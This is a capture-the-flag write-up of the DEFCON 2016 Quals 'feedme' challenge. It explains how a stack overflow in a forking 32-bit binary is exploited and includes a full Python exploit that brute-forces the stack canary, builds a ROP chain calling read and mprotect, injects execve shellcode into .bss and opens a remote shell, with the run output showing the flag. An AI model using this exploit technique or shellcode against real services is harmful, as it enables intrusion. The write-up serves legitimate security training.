DEFCON CTF 2016 Quals: feedme

I had fun solving a problem of DEFCON CTF 2016 Quals in a few hours on May 21 with a friendly team, so I write about the problem I solved.

feedme

We got a binary file and url to connect the target server. First, I checked the state of this file as below:

[root@ubuntu] # file feedme
feedme: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
[root@ubuntu] #
[root@ubuntu] # ldd feedme
	not a dynamic executable
[root@ubuntu] #
[root@ubuntu] # gdb -q feedme
Reading symbols from feedme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ q
[root@ubuntu] #
[root@ubuntu] # perl -e 'print "AAAA"'|./feedme > /dev/null
[root@ubuntu] # perl -e 'print "A"x100'|./feedme > /dev/null
*** stack smashing detected ***: ./feedme terminated
[root@ubuntu] #

From the above results, we found out the following:

  • provided file is ELF, running on x86, statically linked, and stripped
  • buffer overflow occers when received long texts
  • the process downs by SSP in spite of "CANARY : disabled"
  • since this file is statically linked, it isn't affected by ASLR: ASLR doesn't randomize the address like "0x0804XXXX".

So, I guessed that we should use BOF and breakthrough the SSP to solve this problem.

Next, I read the file by using IDA. Fortunately, My teammate made a FLIRT signature file, so I imported, then read.

f:id:f_rin:20160525232739p:plain

breakthrough the SSP

According to this file:

  • "___libc_fork" function makes child process, and it reads our input in a loop (800 times). When the file received our inputs, it works as follows:
    (1) It reads the first character of inputted value.
    (2) According to the value of (1), it decides how many bytes reads more, though a buffer size is only 32bytes.
    The BOF occurs at this time. A value of Stack Canary doesn't change even though BOF occers and killed by SSP, because parent process doesn't die while the loop. It takes at most 256 * 3 times to find out a value of Stack Canary by using BruteForce. So we can use Canary Brute Force, and then ROP within 800 times.
  • the file listens our input for 150 seconds and exits. We have to solve in 150 seconds.

ROP

I searched the ROP Gadgets to make a ROP Chain. I found "sh\0" in the provided binary.

[root@ubuntu] # strings -tx ./feedme|grep "sh"
  (snip)
  7a678 clflush
  (snip)
  8b1e1 _dl_setup_hash
[root@ubuntu] #

This is useful to call 'system("sh")'. However, I couldn't find "system". So I had to solve in a different way.

There are some ways to solve this issue, and I chose a Shellcode Injection.
1. Call ___libc_read function
2. Send a Shellcode to .bss
3. Call ___mprotect to make .bss section executable.
f:id:f_rin:20160524001757p:plain
4. Execute the Shellcode

I made the following Stack Layout.

f:id:f_rin:20160525004629p:plain

As a result, I wrote a script bellow,

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, time

######################
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile("rw", bufsize=0)
	return s, f

def read_until(f, delim="\n"):
	data = ""
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p32(a): return struct.pack("<I", a)
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == "r"):
		print "[+] connect to remote."
		s, f = sock("feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me", 4092)
	else:
		print "[+] connect to local."
		s, f = sock("localhost", 4092)

	canary = ""
	read_until(f, "FEED ME!")

	while len(canary) < 4:
		for i in xrange(256):
			buf = "A" * 32 + canary + chr(i)
			f.write(chr(len(buf)) + buf)
			data = read_until(f, "FEED ME!")
			if "YUM" in data:
				canary += chr(i)
				print "[+] canary: %r" % chr(i)
				break
	print "[+] canary: %r" % canary

	sc = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
	bss_addr = 0x080e9000
	read_addr = 0x0806d870
	pppr_addr = 0x0804838c
	mprotect_addr = 0x0806e390

	rop = ""
	# ___libc_read(STDIN, bss_addr+80, len(sc))
	rop += p32(read_addr)
	rop += p32(pppr_addr)
	rop += p32(0)
	rop += p32(bss_addr+80)
	rop += p32(len(sc))
	# ___mprotect(bss_addr, 0x1000, 7)
	rop += p32(mprotect_addr)
	rop += p32(bss_addr+80)
	rop += p32(bss_addr)
	rop += p32(0x1000)
	rop += p32(7)

	payload = "A" * 32 + canary + "A" * 0xc + rop
	f.write(chr(len(payload)) + payload)

	time.sleep(1)
	f.write(sc)

	print "[+] interact mode:"
	shell(s)

if __name__ == "__main__":
	main(sys.argv)

then, ran it.

[root@ubuntu] # py exp.py r
[+] connect to remote.
[+] canary: '\x00'
[+] canary: '\x05'
[+] canary: '\x9d'
[+] canary: ':'
[+] canary: '\x00\x05\x9d:'
[+] interact mode:

ATE 41414141414141414141414141414141...
bash -i
ls
feedme
flag
cat flag
The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO

Finally, I got the flag yay!
Since it took under 150 seconds to find out the Stack Canary value and the flag, I didn't need to divise anymore.